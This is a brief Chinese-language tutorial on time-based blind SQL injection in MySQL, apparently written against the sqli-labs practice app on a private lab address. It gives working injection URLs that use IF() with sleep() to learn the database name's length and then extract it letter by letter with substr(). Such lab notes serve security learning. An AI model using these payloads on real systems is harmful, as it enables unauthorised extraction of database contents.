SQL注入-时间注入
时间注入攻击
利用sleep()或者benchmark()等函数让MySQL的执行时间变长。与IF(expr1,expr2,expr3)结合使用。当满足条件expr1时执行expr2,不满足时执行expr3。
http://192.168.17.137/sql/Less-1/?id=1' and if(length(database())>1,sleep(5),1)--+
执行时间为5s以上
执行很短时间返回结果
多次使用length()可以判断数据库库名长度
知晓库名长度后使用substr函数逐位查询数据库库名字母
http://192.168.17.137/sql/Less-1/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
程序超过5s返回,证明数据库名第一位为’s’